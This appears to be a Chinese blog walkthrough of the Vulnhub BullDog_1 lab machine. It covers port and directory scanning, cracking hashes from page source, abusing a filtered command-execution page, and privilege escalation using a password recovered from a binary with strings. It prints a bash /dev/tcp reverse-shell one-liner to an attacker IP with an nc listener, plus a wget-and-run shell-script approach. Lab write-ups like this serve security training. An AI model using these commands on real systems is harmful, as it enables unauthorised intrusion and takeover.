Vulnhub靶机系列之BullDog_1

BullDog_1



靶机主页:https://www.vulnhub.com/entry/bulldog-1,211/

下载地址:https://download.vulnhub.com/bulldog/bulldog.ova

​ 这次的靶机开发者建议使用 Orcal VM 打开。再使用vmware打开的时候,我发现使用vmware无法成功讲靶机桥接到局域网中。

​ 靶机运行的时候会回显出自身的IP地址。

Vulnhub靶机系列之BullDog_1

​ nmap扫描靶机开放端口。可以看到开放了一个ssh端口与两个http端口。

​ 经访问貌似两个页面都一样

Vulnhub靶机系列之BullDog_1

扫描web目录,经访问发现admin页面为后台登录界面,dev目录有斗牛犬公司站点的介绍

Vulnhub靶机系列之BullDog_1

​ 登录界面
Vulnhub靶机系列之BullDog_1

​ 站点介绍界面

Vulnhub靶机系列之BullDog_1

​ 经查看介绍界面源码发现,其源码中有邮箱的哈希值。丢到解密里面梭一把。

​ 多说一句,能登陆的那条哈希值cmd5要收费。。。。。,辗转多个网站才解密出来。

​ 解密之后尝试登录管理界面并获得shell

Vulnhub靶机系列之BullDog_1

​ 登录之后页面回显403禁止访问,此时再回到webshell界面,发现能够成功进入。

Vulnhub靶机系列之BullDog_1

​ 经测试发现,只要输入的命令带有页面所描述的白名单即可执行。且页面带有一定过滤.最后经多次尝试,正向shell,php、python、直接nc、bash都不能成功反弹shell。最后使用 echo +bash反弹shell成功。

被攻击机执行:
 echo "bash -i >& /dev/tcp/192.168.0.108/1234 0>&1" | bash
攻击机执行:
  nc -lvp 1234

​ 成功反弹shell

Vulnhub靶机系列之BullDog_1

​ 查看/etc/passwd/ 文件,当前shell的用户是bulldog,但是还有一个bulldogadmin。猜测这个用户具有root权限

Vulnhub靶机系列之BullDog_1

linux find命令不报错:
  查找文件: find / "aaa.jpg" 2>/dev/null
  查找用户拥有的文件: find / username 2>/dev/null

​ 有三个目录,一个一个进去看看

Vulnhub靶机系列之BullDog_1

​ 查看note文件,机翻读起来好像有点离谱。貌似是在提示需要账号和密码。

Vulnhub靶机系列之BullDog_1

​ 最后百度翻译,得知需要执行文件 customPermissionApp ,同时这个文件的名字也叫自定义可执行文件。

​ 使用 ls 查权限发现并没有执行权限,直接使用 cat 查看customPermissionApp文件的内容会出现乱码,不知道是kali的bug还是ssh工具的bug。自从打开文件之后,ssh命令行也整个变成乱码了。

​ 避免乱码这里使用 strings 命令查看文件中可以被打印出来的字符。

strings filename

Vulnhub靶机系列之BullDog_1

Vulnhub靶机系列之BullDog_1

之后就不知道怎么做了,随即查询资料得知用户的密码在可执行文件中的字符串中

可读字符串其中有这么几句话

SUPERultH     去掉最右边的H就可以拼成一句话:
imatePASH     SUPERultimatePASSWORDyouCANTget
SWORDyouH
CANTget

Vulnhub靶机系列之BullDog_1

​ 这时尝试切换用户,报错“must be run for a terminal”,但需要从root身份登录才能进入查看root目录底下的flag。

​ 尝试第一种方法,直接通过ssh端口登录:

​ 怎么试都不成功,貌似不允许通过ssh登录

​ 从网上找的第二种方法:
​ 通过py调用本地shell

python -c 'import pty;pty.spawn("/bin/bash")'

Vulnhub靶机系列之BullDog_1

=========================================================分割线

在网上看到其他师傅的另一个思路是:

​ 1 · 搭建一个简单的web服务器,并放置python shell脚本

​ 2 · 在 RCE 处执行 wget 讲py shell 加载到靶机上

​ 3 · 继续在RCE处执行 python shell.py,之后的步骤就一样了

上一篇:ssh 免密登陆


下一篇:Sicily 1151: 简单的马周游问题(DFS)